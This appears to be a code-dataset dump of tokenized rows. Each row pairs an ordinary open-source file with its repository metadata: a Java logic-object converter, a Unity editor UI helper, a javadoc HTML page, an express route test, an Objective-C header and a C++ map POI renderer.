8458,
2361,
1032,
7427,
15058,
1032,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
package org.logicobjects.converter.old;
import java.util.Arrays;
import java.util.List;
import org.jpc.term.Term;
import org.jpc.util.ParadigmLeakUtil;
import org.logicobjects.converter.IncompatibleAdapterException;
import org.logicobjects.converter.context.old.AdaptationContext;
import org.logicobjects.converter.context.old.AnnotatedElementAdaptationContext;
import org.logicobjects.converter.context.old.BeanPropertyAdaptationContext;
import org.logicobjects.converter.context.old.ClassAdaptationContext;
import org.logicobjects.converter.descriptor.LogicObjectDescriptor;
import org.logicobjects.core.LogicObject;
import org.logicobjects.methodadapter.LogicAdapter;
import org.minitoolbox.reflection.BeansUtil;
public class AnnotatedObjectToTermConverter<From> extends LogicAdapter<From, Term> {
@Override
public Term adapt(From object) {
return adapt(object, null);
}
public Term adapt(From object, AdaptationContext context) {
AnnotatedElementAdaptationContext annotatedContext;
if(context != null) {
if(understandsContext(context))
annotatedContext = (AnnotatedElementAdaptationContext)context;
else
throw new UnrecognizedAdaptationContextException(this.getClass(), context);
} else {
annotatedContext = new ClassAdaptationContext(object.getClass()); //the current context is null, then create default context
}
if(annotatedContext.hasObjectToTermConverter()) { //first check if there is an explicit adapter, in the current implementation, an Adapter annotation overrides any method invoker description
return adaptToTermWithAdapter(object, annotatedContext);
}
else if(annotatedContext.hasLogicObjectDescription()) {
return adaptToTermFromDescription(object, annotatedContext);
}
throw new IncompatibleAdapterException(this.getClass(), object);
}
protected Term adaptToTermWithAdapter(From object, AnnotatedElementAdaptationContext annotatedContext) {
ObjectToTermConverter termAdapter = annotatedContext.getObjectToTermConverter();
return termAdapter.adapt(object);
}
protected Term adaptToTermFromDescription(From object, AnnotatedElementAdaptationContext annotatedContext) {
LogicObjectDescriptor logicObjectDescription = annotatedContext.getLogicObjectDescription();
String logicObjectName = logicObjectDescription.name();
if(logicObjectName.isEmpty())
logicObjectName = infereLogicObjectName(annotatedContext);
List<Term> arguments;
String argsListPropertyName = logicObjectDescription.argsList();
if(argsListPropertyName != null && !argsListPropertyName.isEmpty()) {
BeanPropertyAdaptationContext adaptationContext = new BeanPropertyAdaptationContext(object.getClass(), argsListPropertyName);
Object argsListObject = BeansUtil.getProperty(object, argsListPropertyName, adaptationContext.getGuidingClass());
List argsList = null;
if(List.class.isAssignableFrom(argsListObject.getClass()))
argsList = (List) argsListObject;
else if(Object[].class.isAssignableFrom(argsListObject.getClass()))
argsList = Arrays.asList((Object[])argsListObject);
else
throw new RuntimeException("Property " + argsListPropertyName + " is neither a list nor an array");
arguments = new ObjectToTermConverter().adaptObjects(argsList, adaptationContext);
} else {
arguments = LogicObject.propertiesAsTerms(object, logicObjectDescription.args());
}
return new LogicObject(logicObjectName, arguments).asTerm();
}
/**
* In case the id is not explicitly specified (e.g., with an annotation), it will have to be inferred
* It can be inferred from a class id (if the transformation context is a class instance to a logic object), from a field id (if the context is the transformation of a field), etc
* Different context override this method to specify how they infer the logic id of the object
* @return
*/
public String infereLogicObjectName(AnnotatedElementAdaptationContext annotatedContext) {
return ParadigmLeakUtil.javaClassNameToProlog(annotatedContext.getGuidingClass().getSimpleName());
}
public static boolean understandsContext(AdaptationContext context) {
return context != null && context instanceof AnnotatedElementAdaptationContext;
}
}
| java-prolog-connectivity/logicobjects | src/main/java/org/logicobjects/converter/old/AnnotatedObjectToTermConverter.java | Java | lgpl-3.0 | 4,202 | [
30522,
7427,
8917,
1012,
7961,
16429,
20614,
2015,
1012,
10463,
2121,
1012,
2214,
1025,
12324,
9262,
1012,
21183,
4014,
1012,
27448,
1025,
12324,
9262,
1012,
21183,
4014,
1012,
2862,
1025,
12324,
8917,
1012,
16545,
2278,
1012,
2744,
1012,
2... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
using UnityEngine;
using System.Collections;
using UnityEditor;
using System;
using System.Linq.Expressions;
using Ikari.VertexPainter;
using System.Reflection;
public class IVPInterface : EditorWindow {
public static float DrawFloatField(string labelName, float value)
{
EditorGUI.BeginChangeCheck();
float tempValue = 0;
tempValue = EditorGUILayout.FloatField(string.Concat(labelName, ": "), value);
if (EditorGUI.EndChangeCheck())
{
Undo.RecordObject(IVPController.IVPData, labelName);
value = tempValue;
EditorUtility.SetDirty(IVPController.IVPData);
}
return value;
}
public static float DrawSlider(float value, float minValue, float maxValue, string undoName) {
EditorGUI.BeginChangeCheck();
float tempValue = 0;
tempValue = GUILayout.HorizontalSlider(value, minValue, maxValue);
if (EditorGUI.EndChangeCheck())
{
Undo.RecordObject(IVPController.IVPData, undoName);
value = tempValue;
EditorUtility.SetDirty(IVPController.IVPData);
}
return value;
}
public static void DrawColorToggle(string variableName, string undoName, string labelName, bool value, Color color)
{
if ((bool)IVPController.IVPData.GetType().GetField(variableName).GetValue(IVPController.IVPData))
{
GUI.color = color;
}
if (GUILayout.Button(labelName, EditorStyles.toggle, GUILayout.ExpandWidth(false)))
{
value = !(bool)IVPController.IVPData.GetType().GetField(variableName).GetValue(IVPController.IVPData);
Undo.RecordObject(IVPController.IVPData, undoName);
IVPController.IVPData.GetType().GetField(variableName).SetValue(IVPController.IVPData, value);
EditorUtility.SetDirty(IVPController.IVPData);
}
GUI.color = Color.white;
}
public static void DrawToggle(string variableName, string undoName, string labelName, bool value)
{
if (GUILayout.Button(labelName, EditorStyles.toggle, GUILayout.ExpandWidth(false)))
{
value = !(bool)IVPController.IVPData.GetType().GetField(variableName).GetValue(IVPController.IVPData);
Undo.RecordObject(IVPController.IVPData, undoName);
IVPController.IVPData.GetType().GetField(variableName).SetValue(IVPController.IVPData, value);
EditorUtility.SetDirty(IVPController.IVPData);
}
}
public static string DrawSearchBar(string text)
{
GUILayout.BeginHorizontal(GUI.skin.FindStyle("Toolbar"));
text = GUILayout.TextField(text, "ToolbarSeachTextField");
if (GUILayout.Button("", "ToolbarSeachCancelButton"))
{
text = "";
GUI.FocusControl(null);
}
GUILayout.EndHorizontal();
GUILayout.Space(0);
return text;
}
}
| Belleal/civilization-rise-and-fall | Assets/Ikari/Vertex Painter/Scripts/Editor/IVPInterface.cs | C# | apache-2.0 | 2,942 | [
30522,
2478,
8499,
13159,
3170,
1025,
2478,
2291,
1012,
6407,
1025,
2478,
8499,
2098,
15660,
1025,
2478,
2291,
1025,
2478,
2291,
1012,
11409,
4160,
1012,
11423,
1025,
2478,
20912,
8486,
1012,
19449,
4502,
18447,
2121,
1025,
2478,
2291,
1012... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (1.8.0_252) on Fri Aug 20 17:47:58 BST 2021 -->
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Uses of Class psidev.psi.mi.jami.xml.model.extension.AbstractXmlExperiment.JAXBConfidenceWrapper (PSI :: JAMI - Java framework for molecular interactions 3.2.12 API)</title>
<meta name="date" content="2021-08-20">
<link rel="stylesheet" type="text/css" href="../../../../../../../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../../../../../../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Uses of Class psidev.psi.mi.jami.xml.model.extension.AbstractXmlExperiment.JAXBConfidenceWrapper (PSI :: JAMI - Java framework for molecular interactions 3.2.12 API)";
}
}
catch(err) {
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../../../../../psidev/psi/mi/jami/xml/model/extension/AbstractXmlExperiment.JAXBConfidenceWrapper.html" title="class in psidev.psi.mi.jami.xml.model.extension">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../../../../../index.html?psidev/psi/mi/jami/xml/model/extension/class-use/AbstractXmlExperiment.JAXBConfidenceWrapper.html" target="_top">Frames</a></li>
<li><a href="AbstractXmlExperiment.JAXBConfidenceWrapper.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="header">
<h2 title="Uses of Class psidev.psi.mi.jami.xml.model.extension.AbstractXmlExperiment.JAXBConfidenceWrapper" class="title">Uses of Class<br>psidev.psi.mi.jami.xml.model.extension.AbstractXmlExperiment.JAXBConfidenceWrapper</h2>
</div>
<div class="classUseContainer">
<ul class="blockList">
<li class="blockList">
<table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing packages, and an explanation">
<caption><span>Packages that use <a href="../../../../../../../../psidev/psi/mi/jami/xml/model/extension/AbstractXmlExperiment.JAXBConfidenceWrapper.html" title="class in psidev.psi.mi.jami.xml.model.extension">AbstractXmlExperiment.JAXBConfidenceWrapper</a></span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Package</th>
<th class="colLast" scope="col">Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><a href="#psidev.psi.mi.jami.xml.model.extension">psidev.psi.mi.jami.xml.model.extension</a></td>
<td class="colLast"> </td>
</tr>
</tbody>
</table>
</li>
<li class="blockList">
<ul class="blockList">
<li class="blockList"><a name="psidev.psi.mi.jami.xml.model.extension">
<!-- -->
</a>
<h3>Uses of <a href="../../../../../../../../psidev/psi/mi/jami/xml/model/extension/AbstractXmlExperiment.JAXBConfidenceWrapper.html" title="class in psidev.psi.mi.jami.xml.model.extension">AbstractXmlExperiment.JAXBConfidenceWrapper</a> in <a href="../../../../../../../../psidev/psi/mi/jami/xml/model/extension/package-summary.html">psidev.psi.mi.jami.xml.model.extension</a></h3>
<table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation">
<caption><span>Methods in <a href="../../../../../../../../psidev/psi/mi/jami/xml/model/extension/package-summary.html">psidev.psi.mi.jami.xml.model.extension</a> with parameters of type <a href="../../../../../../../../psidev/psi/mi/jami/xml/model/extension/AbstractXmlExperiment.JAXBConfidenceWrapper.html" title="class in psidev.psi.mi.jami.xml.model.extension">AbstractXmlExperiment.JAXBConfidenceWrapper</a></span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><span class="typeNameLabel">AbstractXmlExperiment.</span><code><span class="memberNameLink"><a href="../../../../../../../../psidev/psi/mi/jami/xml/model/extension/AbstractXmlExperiment.html#setJAXBConfidenceWrapper-psidev.psi.mi.jami.xml.model.extension.AbstractXmlExperiment.JAXBConfidenceWrapper-">setJAXBConfidenceWrapper</a></span>(<a href="../../../../../../../../psidev/psi/mi/jami/xml/model/extension/AbstractXmlExperiment.JAXBConfidenceWrapper.html" title="class in psidev.psi.mi.jami.xml.model.extension">AbstractXmlExperiment.JAXBConfidenceWrapper</a> wrapper)</code>
<div class="block">setJAXBConfidenceWrapper.</div>
</td>
</tr>
</tbody>
</table>
</li>
</ul>
</li>
</ul>
</div>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../../../../../psidev/psi/mi/jami/xml/model/extension/AbstractXmlExperiment.JAXBConfidenceWrapper.html" title="class in psidev.psi.mi.jami.xml.model.extension">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../../../../../index.html?psidev/psi/mi/jami/xml/model/extension/class-use/AbstractXmlExperiment.JAXBConfidenceWrapper.html" target="_top">Frames</a></li>
<li><a href="AbstractXmlExperiment.JAXBConfidenceWrapper.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<p class="legalCopy"><small>Copyright © 2021. All rights reserved.</small></p>
</body>
</html>
| MICommunity/psi-jami | docs/psidev/psi/mi/jami/xml/model/extension/class-use/AbstractXmlExperiment.JAXBConfidenceWrapper.html | HTML | apache-2.0 | 8,023 | [
30522,
1026,
999,
9986,
13874,
16129,
2270,
1000,
1011,
1013,
1013,
1059,
2509,
2278,
1013,
1013,
26718,
2094,
16129,
1018,
1012,
5890,
17459,
1013,
1013,
4372,
1000,
1000,
8299,
1024,
1013,
1013,
7479,
1012,
1059,
2509,
1012,
8917,
1013,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
var request = require('supertest');
var should = require('should');
var express = require('express');
var expressRouter = require('../index.js');
var mockPath = 'mock.js';
describe('register routes', function(){
var app;
before(function(){
app = express();
expressRouter.sync(app, mockPath);
});
it('should have register: GET /api/collection', function(done){
request(app)
.get('/api/collection')
.expect(200)
.expect('OK', done);
});
it('should have register: GET /api/entity/:id', function(done){
request(app)
.get('/api/entity/1')
.expect(200)
.expect('OK', done);
});
it('should have register: POST /api/test', function(done){
request(app)
.post('/api/test')
.expect(201)
.expect('Created', done);
});
});
| mastilver/express-annotation | test/sync.js | JavaScript | mit | 905 | [
30522,
13075,
5227,
1027,
5478,
1006,
1005,
3565,
22199,
1005,
1007,
1025,
13075,
2323,
1027,
5478,
1006,
1005,
2323,
1005,
1007,
1025,
13075,
4671,
1027,
5478,
1006,
1005,
4671,
1005,
1007,
1025,
13075,
4671,
22494,
3334,
1027,
5478,
1006,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
//
// YT_ResponseModel.h
// interview
//
// Created by 于波 on 16/3/31.
// Copyright © 2016年 于波. All rights reserved.
//
#import <Foundation/Foundation.h>
@class YT_DataModel;
@interface YT_ResponseModel : NSObject
YT_Singleton_H(Model)
@property (nonatomic,copy)NSString *code;
@property (nonatomic,copy)NSString *msg;
@property (nonatomic,strong)YT_DataModel *data;
@end
| meiluo117/interview | interview/interview/Classes/Investor(投资人)/Model/YT_ResponseModel.h | C | apache-2.0 | 388 | [
30522,
1013,
1013,
1013,
1013,
1061,
2102,
1035,
3433,
5302,
9247,
1012,
1044,
1013,
1013,
4357,
1013,
1013,
1013,
1013,
2580,
2011,
100,
100,
2006,
2385,
1013,
1017,
1013,
2861,
1012,
1013,
1013,
9385,
1075,
2355,
1840,
100,
100,
1012,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#include "drape_frontend/poi_symbol_shape.hpp"
#include "drape_frontend/color_constants.hpp"
#include "drape_frontend/shader_def.hpp"
#include "drape/attribute_provider.hpp"
#include "drape/batcher.hpp"
#include "drape/texture_manager.hpp"
#include "drape/utils/vertex_decl.hpp"
#include <utility>
namespace
{
df::ColorConstant const kPoiDeletedMaskColor = "PoiDeletedMask";
using SV = gpu::SolidTexturingVertex;
using MV = gpu::MaskedTexturingVertex;
glsl::vec2 ShiftNormal(glsl::vec2 const & n, df::PoiSymbolViewParams const & params,
m2::PointF const & pixelSize)
{
glsl::vec2 result = n + glsl::vec2(params.m_offset.x, params.m_offset.y);
m2::PointF const halfPixelSize = pixelSize * 0.5f;
if (params.m_anchor & dp::Top)
result.y += halfPixelSize.y;
else if (params.m_anchor & dp::Bottom)
result.y -= halfPixelSize.y;
if (params.m_anchor & dp::Left)
result.x += halfPixelSize.x;
else if (params.m_anchor & dp::Right)
result.x -= halfPixelSize.x;
return result;
}
template<typename TVertex>
void Batch(ref_ptr<dp::Batcher> batcher, drape_ptr<dp::OverlayHandle> && handle,
glsl::vec4 const & position, df::PoiSymbolViewParams const & params,
dp::TextureManager::SymbolRegion const & symbolRegion,
dp::TextureManager::ColorRegion const & colorRegion)
{
ASSERT(0, ("Can not be used without specialization"));
}
template<>
void Batch<SV>(ref_ptr<dp::Batcher> batcher, drape_ptr<dp::OverlayHandle> && handle,
glsl::vec4 const & position, df::PoiSymbolViewParams const & params,
dp::TextureManager::SymbolRegion const & symbolRegion,
dp::TextureManager::ColorRegion const & colorRegion)
{
m2::PointF const pixelSize = symbolRegion.GetPixelSize();
m2::PointF const halfSize(pixelSize.x * 0.5f, pixelSize.y * 0.5f);
m2::RectF const & texRect = symbolRegion.GetTexRect();
SV vertexes[] =
{
SV{ position, ShiftNormal(glsl::vec2(-halfSize.x, halfSize.y), params, pixelSize),
glsl::vec2(texRect.minX(), texRect.maxY()) },
SV{ position, ShiftNormal(glsl::vec2(-halfSize.x, -halfSize.y), params, pixelSize),
glsl::vec2(texRect.minX(), texRect.minY()) },
SV{ position, ShiftNormal(glsl::vec2(halfSize.x, halfSize.y), params, pixelSize),
glsl::vec2(texRect.maxX(), texRect.maxY()) },
SV{ position, ShiftNormal(glsl::vec2(halfSize.x, -halfSize.y), params, pixelSize),
glsl::vec2(texRect.maxX(), texRect.minY()) },
};
dp::GLState state(gpu::TEXTURING_PROGRAM, params.m_depthLayer);
state.SetProgram3dIndex(gpu::TEXTURING_BILLBOARD_PROGRAM);
state.SetColorTexture(symbolRegion.GetTexture());
state.SetTextureFilter(gl_const::GLNearest);
dp::AttributeProvider provider(1 /* streamCount */, ARRAY_SIZE(vertexes));
provider.InitStream(0 /* streamIndex */, SV::GetBindingInfo(), make_ref(vertexes));
batcher->InsertTriangleStrip(state, make_ref(&provider), move(handle));
}
template<>
void Batch<MV>(ref_ptr<dp::Batcher> batcher, drape_ptr<dp::OverlayHandle> && handle,
glsl::vec4 const & position, df::PoiSymbolViewParams const & params,
dp::TextureManager::SymbolRegion const & symbolRegion,
dp::TextureManager::ColorRegion const & colorRegion)
{
m2::PointF const pixelSize = symbolRegion.GetPixelSize();
m2::PointF const halfSize(pixelSize.x * 0.5f, pixelSize.y * 0.5f);
m2::RectF const & texRect = symbolRegion.GetTexRect();
glsl::vec2 const maskColorCoords = glsl::ToVec2(colorRegion.GetTexRect().Center());
MV vertexes[] =
{
MV{ position, ShiftNormal(glsl::vec2(-halfSize.x, halfSize.y), params, pixelSize),
glsl::vec2(texRect.minX(), texRect.maxY()), maskColorCoords },
MV{ position, ShiftNormal(glsl::vec2(-halfSize.x, -halfSize.y), params, pixelSize),
glsl::vec2(texRect.minX(), texRect.minY()), maskColorCoords },
MV{ position, ShiftNormal(glsl::vec2(halfSize.x, halfSize.y), params, pixelSize),
glsl::vec2(texRect.maxX(), texRect.maxY()), maskColorCoords },
MV{ position, ShiftNormal(glsl::vec2(halfSize.x, -halfSize.y), params, pixelSize),
glsl::vec2(texRect.maxX(), texRect.minY()), maskColorCoords },
};
dp::GLState state(gpu::MASKED_TEXTURING_PROGRAM, params.m_depthLayer);
state.SetProgram3dIndex(gpu::MASKED_TEXTURING_BILLBOARD_PROGRAM);
state.SetColorTexture(symbolRegion.GetTexture());
state.SetMaskTexture(colorRegion.GetTexture()); // Here mask is a color.
state.SetTextureFilter(gl_const::GLNearest);
dp::AttributeProvider provider(1 /* streamCount */, ARRAY_SIZE(vertexes));
provider.InitStream(0 /* streamIndex */, MV::GetBindingInfo(), make_ref(vertexes));
batcher->InsertTriangleStrip(state, make_ref(&provider), move(handle));
}
} // namespace
namespace df
{
PoiSymbolShape::PoiSymbolShape(m2::PointD const & mercatorPt, PoiSymbolViewParams const & params,
TileKey const & tileKey, uint32_t textIndex)
: m_pt(mercatorPt)
, m_params(params)
, m_tileCoords(tileKey.GetTileCoords())
, m_textIndex(textIndex)
{}
void PoiSymbolShape::Draw(ref_ptr<dp::Batcher> batcher, ref_ptr<dp::TextureManager> textures) const
{
dp::TextureManager::SymbolRegion region;
textures->GetSymbolRegion(m_params.m_symbolName, region);
glsl::vec2 const pt = glsl::ToVec2(ConvertToLocal(m_pt, m_params.m_tileCenter, kShapeCoordScalar));
glsl::vec4 const position = glsl::vec4(pt, m_params.m_depth, -m_params.m_posZ);
m2::PointF const pixelSize = region.GetPixelSize();
if (m_params.m_obsoleteInEditor)
{
dp::TextureManager::ColorRegion maskColorRegion;
textures->GetColorRegion(df::GetColorConstant(kPoiDeletedMaskColor), maskColorRegion);
Batch<MV>(batcher, CreateOverlayHandle(pixelSize), position, m_params,
region, maskColorRegion);
}
else
{
Batch<SV>(batcher, CreateOverlayHandle(pixelSize), position, m_params,
region, dp::TextureManager::ColorRegion());
}
}
drape_ptr<dp::OverlayHandle> PoiSymbolShape::CreateOverlayHandle(m2::PointF const & pixelSize) const
{
dp::OverlayID overlayId = dp::OverlayID(m_params.m_id, m_tileCoords, m_textIndex);
drape_ptr<dp::OverlayHandle> handle = make_unique_dp<dp::SquareHandle>(overlayId, m_params.m_anchor,
m_pt, pixelSize, m_params.m_offset,
GetOverlayPriority(),
true /* isBound */,
m_params.m_symbolName,
true /* isBillboard */);
handle->SetPivotZ(m_params.m_posZ);
handle->SetExtendingSize(m_params.m_extendingSize);
return handle;
}
uint64_t PoiSymbolShape::GetOverlayPriority() const
{
// Set up maximum priority for some POI.
if (m_params.m_prioritized)
return dp::kPriorityMaskAll;
// Special displacement mode.
if (m_params.m_specialDisplacementMode)
return dp::CalculateSpecialModePriority(m_params.m_specialModePriority);
// Set up minimal priority for shapes which belong to areas.
if (m_params.m_hasArea)
return 0;
return dp::CalculateOverlayPriority(m_params.m_minVisibleScale, m_params.m_rank, m_params.m_depth);
}
} // namespace df
| ruilin/RLMap | drape_frontend/poi_symbol_shape.cpp | C++ | apache-2.0 | 7,436 | [
30522,
1001,
2421,
1000,
2852,
24065,
1035,
2392,
10497,
1013,
13433,
2072,
1035,
6454,
1035,
4338,
1012,
6522,
2361,
1000,
1001,
2421,
1000,
2852,
24065,
1035,
2392,
10497,
1013,
3609,
1035,
5377,
2015,
1012,
6522,
2361,
1000,
